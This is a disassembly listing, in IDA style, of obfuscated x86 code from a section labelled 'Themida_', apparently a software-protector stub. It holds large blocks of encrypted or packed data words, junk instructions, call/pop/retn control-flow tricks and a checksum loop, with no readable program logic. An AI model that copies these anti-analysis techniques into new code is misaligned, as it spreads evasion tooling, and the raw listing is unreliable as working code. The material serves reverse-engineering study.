		dd 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CD557
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD557	proc near		; CODE XREF: Themida_:005CD54Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CD557	endp

; ---------------------------------------------------------------------------
		db 0Ch
		dd 0ABE2E03Ah, 8BED8EF2h, 258964h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0FF41C355h, 1316D985h, 0BFFF6A06h, 2562912Fh, 20B9B5FFh
		dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 2B0173C3h, 0EC4617C5h, 56736375h,	287DBD8Bh
		dd 0FF5F0613h, 1331AD95h, 130E906h, 9D030000h, 6131381h
		dd 816600B0h, 0E65DDEEFh, 3880F70h, 80000000h, 71E47CD7h
		dd 1B99B589h, 613C0613h, 108830Fh, 0FF50000h, 5F53C8B6h
		dd 6BAh, 29858900h, 8B06132Ah, 0C99D89C1h, 6006130Ah, 6EB3B866h
		dd 91E88166h, 0E8C1613Eh, 1111BF04h, 0F7667628h, 0B0BF66E2h
		dd 0C82BF53Ch, 9D01D18Bh, 6130E89h, 0D698D89h, 0BFE90613h
		dd 0E8000000h, 12h, 0AAEEEC51h,	0D67B2BAFh, 72D7CB71h
		dd 75743C53h, 8B5BFC5Bh, 4E4985h, 6850F44h, 89000000h
		dd 130E2995h, 837AB706h, 9D0B07C0h, 61307E1h, 6600C083h
		dd 3B50A6BBh, 13830FD0h, 89000000h, 131FF585h, 70E906h
		dd 850F0000h, 2, 8D8BF88Bh, 0FFFFFFFFh,	0E2B0BB66h, 38B0Fh
		dd 8B660000h, 1E183FEh,	4C840Fh, 85010000h, 613131Dh, 0FFFFA583h
		dd 8BFEFFFFh, 0ED9D29FEh, 8906132Bh, 4E4995h, 0D88B6644h
		dd 0BE8h, 0EFE95500h, 23512A09h, 62E0BA56h, 0EE860h, 5C090000h
		dd 431990DEh, 43C2B46Bh, 0E9E2FE8Ah, 61FE8B58h,	0E95Bh
		dd 0B58D0000h, 6178F72h, 6ADF8Bh, 95FFA4B7h, 6130DA9h
		dd 0E7B9FC8Ah, 8B000011h, 132BA59Dh, 0FCE18306h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 4BC35343h, 5A09BF67h
		dd 405A7CBFh, 9D8BFC41h, 61331A5h, 0B8h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 261C9981h, 0CD3E3598h, 816614AFh, 0E98801E7h, 0Ch, 7B1EEC61h
		dd 63D6ED1Bh, 1F3AB5CAh, 0BAF88Bh, 0F000000h, 128Eh, 0DE900h
		dd 0A8820000h, 1894DDF7h, 0D6D36D31h, 0ADA69FB9h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0DD8AC350h,	3CA572C9h
		dd 89823AC6h, 1331C595h, 0CB816606h, 880D8112h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 8FB8C356h, 3B3DBA85h, 89F02428h, 130E7185h
		dd 5840F06h, 66000000h,	0F2F2D381h, 1BBD958Bh, 6A0613h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 689D92C3h, 0EC6290A1h, 11BD8B11h, 66061300h,	8D8BD98Bh
		dd 61318DDh, 840Fh, 8B500000h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 6ADEB70Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0D44BC351h,	56699C11h
		dd 24F9B501h, 0BB660613h, 0BD83D614h, 6131D1Dh,	25840F00h
		dd 8B000000h, 132B71BDh, 0B806h, 0BD8B0000h, 6130FE9h
		dd 4F8D8D8Dh, 0BD8B0613h, 6132BEDh, 8D09E1FFh, 6130D79h
		dd 3055BD83h, 0F000613h, 41D84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 1374F2A9h
		dd 32C2BDC1h, 81667709h, 8350FCD3h, 133055BDh, 840F0106h
		dd 401h, 0A0D9D03h, 0BD830613h,	6133055h, 0B8860F03h, 6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 7A64C351h, 76AD636Fh, 1CBB6048h, 6608A750h
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 4E2E8EC3h, 898D28BAh, 13239585h, 4E18006h
		dd 27DB8150h, 5F23B088h, 152DBD09h, 0C90A0613h,	0FC840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0A564E3C3h, 4899957Eh, 138DBD8Bh,	858B0613h
		dd 6132BB9h, 0B98533F5h, 6A061305h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 507DC357h
		dd 7E9h, 0A3234C00h, 0DD2A6DDEh, 80240489h, 6A6BCBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AAC35747h, 0EDA6DDA9h
		dd 0A993B268h, 240481F0h, 0F75704Dh, 0A3D95FFh,	6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 734F85C3h, 0D2434AD7h, 0DB803F22h, 54858955h, 810616C4h
		dd 0EAF749C3h, 211E967h, 14E80000h, 2A000000h, 429AED57h
		dd 0A208756Bh, 0D4B2211Ch, 4CAB04FEh, 8B3F1D6Ah, 132D0DBDh
		dd 8F0F5F06h, 6, 19918D29h, 858B0613h, 616C44Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 76C35141h, 0C3DC8AE9h
		dd 0CE8FD6Dh, 85000000h, 0F317A822h, 594C80Dh, 0FD88D20h
		dd 28Dh, 5B616000h, 1800C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E2DB14C3h
		dd 716CF4E4h, 8960B901h, 1310F9B5h, 0D19D8B06h,	61061320h
		dd 0C450B58Bh, 0BB660616h, 858BF4B4h, 6132A55h,	19018D89h
		dd 6890613h, 11E8h, 4569AD00h, 79AEF28Bh, 0C10299EFh, 9862449Eh
		dd 9E9A7F1h, 18000000h,	8B1D5EB1h, 47F80B2Ah, 8B1DB75Fh
		dd 132BB985h, 198D2906h, 33061331h, 1301C19Dh, 4468906h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 44C35343h
		dd 9D8B9176h, 6130B39h,	1A019D29h, 0E8500613h, 8, 4CE4FA6Ah
		dd 0E1E465CDh, 9E9h, 474F1900h,	3715C77Eh, 895B5A8Ah, 830F2434h
		dd 6, 1E558529h, 0B5FF0613h, 616C44Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0A8C35242h,	6568ED27h, 60909E44h
		dd 5205B9BBh, 61F98B63h, 9A240481h, 506F80BFh, 6870Fh
		dd 9D090000h, 6133205h,	54858D5Bh, 6A0616C4h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 9FA6C350h, 74C8ED8Dh, 6E8C551h, 0D000000h, 5AC2D53Eh
		dd 199D03C9h, 5F06131Ah, 2375BD8Bh, 0BF900613h,	5C3AF101h
		dd 905B5250h, 1CD9D89h,	95FF0613h, 6130A3Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 24C35343h, 0D6DF8177h
		dd 611C96A9h, 3EE2BF66h, 305585C7h, 30613h, 89500000h
		dd 130D7195h, 0BD835B06h, 616C454h, 48840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 4307C352h, 0AAA102B9h, 3DE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 7DBF8A2Ch, 5019589Fh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0DE8C08Bh, 3C000000h, 0C35B62Bh
		dd 7F3D16A5h, 0E93F6596h, 315BF88Bh, 1307F585h,	50006A06h
		dd 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0CE94Ah, 5F020000h
		dd 84BD3BD0h, 2D028DD2h, 0BD83038Dh, 6133055h, 0AB850F03h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0F8EAC353h, 6651A88Ch,	0CDA7F381h
		dd 0C454BD83h, 0F000616h, 47984h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 13C19111h
		dd 9EF7D39Ch, 0B5FF22A2h, 616C454h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0CDC35242h,	0EB67B7C1h, 96995FFh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F61B7C3h, 0B58BDEB7h, 616C448h, 6C7D98Bh
		dd 10001h, 2161BD8Bh, 0E9960613h, 14h, 71FDA791h, 57CF8BA0h
		dd 480798B8h, 51B5CB7Fh, 83D7E214h, 0A54BF50h, 6A96308Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0E8B1C355h, 44313174h, 8B370CBFh,	130CF99Dh
		dd 54B5FF06h, 8B0616C4h, 1320799Dh, 2995FF06h, 8B061332h
		dd 13109DBDh, 58D0F06h,	66000000h, 33EAE781h, 0C448B58Bh
		dd 0D6BB0616h, 8B2EDC34h, 13063185h, 0C4868906h, 2B000000h
		dd 130159BDh, 0BD958B06h, 6A06131Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 55B2C350h
		dd 0C6CF801Dh, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 63A9C352h, 8B191B87h
		dd 205089F9h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	48C35646h, 0FB5C15Bh, 8D5BEF0Bh, 16D8E385h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0CB84546Ah, 25D687F8h, 8689EBD6h, 0B8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D1C35646h, 0F1B1B52Bh
		dd 9D03749Eh, 6130A7Dh,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0B935A5C3h, 4180ACFCh
		dd 81DDF4A3h, 40EB8DD7h, 0ED95311Ah, 0FF061314h, 16C454B5h
		dd 0D7816606h, 95FF23ABh, 6131E95h, 0A800Fh, 60600000h
		dd 19B52961h, 6106131Ah, 34BB6696h, 10E95098h, 0E8000000h
		dd 0AFB3802Eh, 7247A3DAh, 9B990663h, 9698EB69h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h, 0E9A8BC46h
		dd 12h,	0EFCB69BBh, 0C0CC179Bh,	51780708h, 70D90241h, 0B5FFBA7Eh
		dd 616C454h, 11B1BD8Bh,	95FF0613h, 6132145h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 84C35242h, 63C6E795h
		dd 0EF81C3FAh, 43B7A6CDh, 1495BD83h, 0F000613h,	6184h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0E953F505h, 0E896878Dh, 6, 0A8DA9290h, 0BE938FFh
		dd 0A6000000h, 0FE3D8F60h, 0F1214DB3h, 505F676Eh, 50006A96h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 4BDBBD1h, 0B5FFF520h, 616C454h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 6EC35747h, 0BBA3A12Dh, 5A0FE2CCh
		dd 9629CF81h, 806021F2h, 0C980BDF5h, 95FF61C7h,	61305ADh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 48C35343h
		dd 7172BD31h, 0F4579B2Fh, 0D38166B1h, 0B5FF026Ch, 616C454h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 30C35343h
		dd 6FD3D4FDh, 0D9BD8B62h, 89061330h, 132071BDh,	995FF06h
		dd 0F061312h, 68Fh, 0B1BD8900h,	83061314h, 130511BDh, 840F0206h
		dd 83h,	0EE9h, 8E3E8400h, 4EDC27E1h, 7CA5B258h,	8B055E29h
		dd 130F5585h, 10E906h, 70230000h, 38E267D8h, 62E760Bh
		dd 35AD707Eh, 0C60031h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 545175CAh, 0D47DBAC5h
		dd 6E85E53h, 4A000000h,	3F815DBDh, 5783BF95h, 0E95F572Eh
		dd 13h,	0DAAFB380h, 637247A3h, 699B9906h, 0AA0098EBh, 66ABABE1h
		dd 0C76A56BFh, 131E5185h, 6, 38A0F00h, 0F000000h, 52E9FABFh
		dd 66FFFFF3h, 18CBEF81h, 9D8BC18Bh, 6132105h, 10E8h, 7028C700h
		dd 3E0C9897h, 0C0CA44C6h, 14FE6426h, 718D89D1h,	5F061328h
		dd 1EA9858Dh, 8B0F0613h, 5, 0D0D78052h,	890F905Bh, 2, 5050DA8Bh
		dd 9E9h, 7216D000h, 538E009Ch, 905B64B8h, 68F0Fh, 0B5890000h
		dd 6131EC1h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 94C375C3h, 9B098E16h, 8D8983F9h
		dd 613284Dh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 8C243C3h, 0BD8949B9h, 6131CF5h
		dd 2166858Dh, 83F90618h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 29FF1FC3h, 0DE8B664Fh
		dd 1A99BD23h, 8B900613h, 6A9050D9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0C80BC357h
		dd 0EF8166D2h, 6A7258h,	0AE8h, 0EAF50200h, 0DC89777Bh
		dd 80B30308h, 8B5BF5E3h, 6A006AF9h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5B89C355h
		dd 0B98F1C90h, 0FF9682F6h, 1307F195h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0A5D607C6h, 82013818h, 85293DE7h, 6132411h, 0A36A8D8Dh
		dd 7E90616h, 6C000000h,	1971F497h, 0D1FF5572h, 336ECF80h
		dd 13325D9Dh, 3DBD8306h, 1061317h, 42850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 80FACEC3h, 0DF8B668Fh, 8B66026Ah, 0DC8A50D9h, 0B7240489h
		dd 5E960h, 12020000h, 0FF56A975h, 131E9595h, 0DAB70F06h
		dd 0D7DE9h, 0E800h, 815D0000h, 182170EDh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 8AA440FAh, 5E858DD8h, 6A06168Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0CF9DC351h
		dd 9614BB66h, 0C913BF66h, 0F525050h, 28Eh, 0FD88B00h, 5ADA8B31h
		dd 24048958h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	0A7C35545h, 0F6D2AF9Bh,	80F986F5h, 66FD8A54h, 6401B7BBh
		dd 35FFh, 64F90000h, 2589h, 0BD230000h,	6130965h, 16D985FFh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0DA8B5AC3h, 0BD8BFF6Ah, 6132FADh,	2309B5FFh
		dd 8B660613h, 0AD95FFFEh, 0E9061331h, 118h, 8E0Fh, 0B00000h
		dd 2BF98D09h, 70E60613h, 0F71E4F8h, 1183h, 0CE900h, 652E0000h
		dd 0C29642C7h, 0FD72F1DDh, 613C5B6Eh, 0E6830Fh,	0FF80000h
		dd 0D88AC8B6h, 6BAh, 6810F00h, 3000000h, 1316FD9Dh
		dd 0CE906h, 16650000h, 63DCAAFDh, 0F85F9AC8h, 0C18BB0ABh
		dd 142ACB81h, 0E8C13FC5h, 443CBF04h, 0F7661D82h, 9E8E2h
		dd 15790000h, 738D9D69h, 29C3D42Dh, 1334A58Dh, 0C82B5F06h
		dd 0A26016BFh, 50D18B7Bh, 94FBB66h, 0D98B665Fh,	7FE9h
		dd 0FFBF0F00h, 4C4C858Bh, 0BF66505Fh, 0C083B4C0h, 0C08307h
		dd 0B589FE8Bh, 61319D1h, 830FD03Bh, 1Bh, 56E9F9h, 10E90000h
		dd 95000000h, 8B892C74h, 82D91466h, 7092364Fh, 8B167531h
		dd 0FFFFFF8Dh, 0FD8D89FFh, 8306131Eh, 840F01E1h, 2Ch, 0BF8AF380h
		dd 78EEEA2Eh, 0FFFFA583h, 29FEFFFFh, 1321F585h,	4C958906h
		dd 0F505F4Ch, 68Fh, 0E1958900h,	0E9061334h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+617A159h]
		jmp	loc_5CE655
; ---------------------------------------------------------------------------
		db 0B4h
; ---------------------------------------------------------------------------
		sbb	al, 73h
		xchg	eax, edx
		jmp	short loc_5CE6B4
; ---------------------------------------------------------------------------
		cmp	al, 0ACh
		shr	byte ptr [eax],	73h
		fdivp	st(5), st
		mov	ds:31A7A57Fh, al


loc_5CE655:				; CODE XREF: Themida_:005CE63Ej
		mov	[ebp+6130B15h],	ebx
		push	0
		push	0
		push	ebp
		call	sub_5CE668
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE668	proc near		; CODE XREF: Themida_:005CE660p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5CE668	endp

; ---------------------------------------------------------------------------
		cld
		aad	48h
		mov	ebp, 0D59D8BC3h
		sbb	edx, [ebx]
		push	es
		call	dword ptr [ebp+6130DA9h]
		or	[ebp+613150Dh],	ebx
		mov	ecx, 10CAh
		push	0
		push	ebx
		call	sub_5CE69F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE69F	proc near		; CODE XREF: Themida_:005CE697p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5CE69F	endp

; ---------------------------------------------------------------------------
		db 81h
		dd 0C691BC85h
; ---------------------------------------------------------------------------


loc_5CE6B4:				; CODE XREF: Themida_:005CE647j
		in	eax, 56h
		mov	bx, si
		pop	edi
		and	ecx, 0FFFFFFFCh
		mov	bx, 3EBEh
		cld
		mov	[ebp+6133239h],	esi
		mov	eax, 0
		mov	[ebp+6131F09h],	esi
		sub	edx, edx
		mov	ebx, 3CA3C7BFh


loc_5CE6DA:				; CODE XREF: Themida_:005CE6E4j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CE6DA
		push	0
		push	ecx
		call	sub_5CE6F1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE6F1	proc near		; CODE XREF: Themida_:005CE6E9p
					; Themida_:005CE76Ej

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5CE6F1	endp

; ---------------------------------------------------------------------------
		fsubrp	st(3), st
		jnb	loc_5CE70F
		mov	ebx, [ebp+61310CDh]


loc_5CE70F:				; CODE XREF: Themida_:005CE703j
		sub	[ebp+613015Dh],	ebx
		or	eax, 88h
		push	0
		push	ebx
		call	sub_5CE725
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE725	proc near		; CODE XREF: Themida_:005CE71Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5CE725	endp

; ---------------------------------------------------------------------------
		pop	ss
		xchg	eax, edi
		stc
		mov	dword ptr [esi], 61BD8Bh
		adc	eax, [esi]
		mov	ebx, [ebp+6131AA1h]
		mov	edx, [ebp+6131BBDh]
		push	0
		push	ebp
		call	sub_5CE757
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE757	proc near		; CODE XREF: Themida_:005CE74Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5CE757	endp

; ---------------------------------------------------------------------------
		shl	ah, 1
		mov	ds:7AAA2B60h, al
		jnz	short sub_5CE6F1
		sub	edi, 70448644h
		mov	ecx, [ebp+61318DDh]
		push	0
		push	ecx
		call	sub_5CE787
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE787	proc near		; CODE XREF: Themida_:005CE77Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5CE787	endp

; ---------------------------------------------------------------------------
		jno	short near ptr loc_5CE7B9+2
		sbb	al, 0A1h
		mov	ebx, [ebp+6130B69h]
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		mov	edi, [ebp+6131935h]


loc_5CE7B9:				; CODE XREF: Themida_:005CE797j
		mov	ebx, [ebp+6131DF5h]
		cmp	dword ptr [ebp+6131D1Dh], 0
		jz	loc_5CE872
		push	0
		push	ebp
		call	sub_5CE7D7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE7D7	proc near		; CODE XREF: Themida_:005CE7CFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5CE7D7	endp

; ---------------------------------------------------------------------------
		db 35h
		dd 4E80B363h, 1738DEF4h, 0DE943h, 5AE40000h, 9DA4E21Bh
		dd 501CE31Ah, 0B8EAAD8Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5CE813
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE813	proc near		; CODE XREF: Themida_:005CE80Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CE813	endp

; ---------------------------------------------------------------------------
		db 12h
		dd 2E50D514h, 496010F8h, 0F59D23CEh, 29061300h,	131B45BDh
		dd 8D8D8D06h, 6A06134Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 20C5C353h, 43C04Dh
		dd 0F903496Fh, 0BD8BE1FFh, 6130785h, 1639B531h
; ---------------------------------------------------------------------------
		adc	eax, [esi]


loc_5CE872:				; CODE XREF: Themida_:005CE7C6j
		cmp	dword ptr [ebp+6133055h], 0
		jz	loc_5CED1D
		push	0
		push	esi
		call	sub_5CE88A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE88A	proc near		; CODE XREF: Themida_:005CE882p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5CE88A	endp

; ---------------------------------------------------------------------------
		dw 0CAF3h
		dd 89E344A5h, 1322998Dh, 0BD83F506h, 6133055h, 85840F01h
		dd 0F000004h, 0BD83FABFh, 6133055h, 3F860F03h, 6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0DA19C355h, 5F59D8Bh, 9D890613h, 61334ADh
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 57FA8F07h, 8C66763Dh, 55006AD9h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 279E621Ah
		dd 808CA4B3h, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 33D997C3h, 6BDA6740h, 0FC90AADh
		dd 11384h, 7D9D8B00h, 3061323h,	1309619Dh, 0B9858B06h
		dd 5206132Bh, 1F5B589h,	335F0613h, 1305B985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 50D749EBh, 10E853h, 8DD50000h, 0F37889BBh, 2C9F7F7Ch
		dd 0DFFC920Ah, 61602BF8h, 4895F5Bh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7826FCABh
		dd 6A006A66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0A042C356h, 96C3AF32h,	68FFB70Fh
		dd 1332C134h, 3481DD8Ah, 2DC2CB24h, 50006A13h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0EBC1B9D0h
		dd 0A3D95FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 5FE20CC3h, 9D8BC470h, 61318E1h
		dd 0C4548589h, 0E9FC0616h, 219h, 0FDE8B66h, 386h, 0F9B70F00h
		dd 0C44C858Bh, 6A0616h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 667947C3h, 9D8BE8FAh, 6132FE1h
		dd 1800C7h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 190424h, 52420000h, 335ACCC3h, 0BF59251Bh, 45D19E4Ah
		dd 0C450B58Bh, 89600616h, 1305A5B5h, 0BD8B6006h, 6130085h
		dd 30B19D09h, 61610613h, 2A55858Bh, 6A0613h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 689F4C3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h
		dd 859531BEh, 0E906130Eh, 11h, 5C492EE3h, 40982B1Eh, 0A524BB12h
		dd 7F973D3Eh, 0B9858B40h, 8906132Bh, 131BFDBDh,	4468906h
		dd 50F98B66h, 0EE8h, 2952F600h,	0D4087744h, 0CBAD56BCh
		dd 0F79B583h, 0E86h, 8E800h, 814D0000h,	7CAB548Fh, 5F5FA1F7h
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 548AC357h, 5C936E4h, 34BA6660h
		dd 6860FBAh, 89000000h,	132B2595h, 0B5FF6106h, 616C44Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6DC35040h
		dd 0D489FFBFh, 684618Fh, 198D8964h, 0E8061312h,	4, 1F03FFh
		dd 0EE9h, 0D9D5CF00h, 3E9B78E1h, 39E81CDBh, 50AF9AB8h
		dd 424448Bh, 880F008Bh,	5, 796F7BBBh, 24448964h, 50606004h
		dd 55EFBA58h, 61617161h, 8DBD8B58h, 8D061300h, 16C45485h
		dd 5BBB6606h, 0E9606035h, 14h, 0B682D6AAh, 0BEEFC83Eh
		dd 0BB80016h, 9C43FCF6h, 0E8533EE3h, 228D9D89h,	61610613h
		dd 50FB8B90h, 359D8990h, 0FF061324h, 130A3D95h,	0DE906h
		dd 0CCA0000h, 0FB044ED0h, 0EE84894Fh, 81C64472h, 325313CBh
		dd 6A6160h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0E70F41C3h, 0F486C660h, 85C72E16h, 6133055h
		dd 3, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Ch
		dd 0D8C35242h, 0AE49008Dh, 103B8546h, 9BD9D8Bh,	0BD830613h
		dd 616C454h, 1B840F00h,	0E9000000h, 0Bh, 88467B3Bh, 7B4077ECh
		dd 0E9A7FDD5h, 21h, 34859589h, 30500613h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		db 36h
; ---------------------------------------------------------------------------


loc_5CED1D:				; CODE XREF: Themida_:005CE879j
					; Themida_:005CED34j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
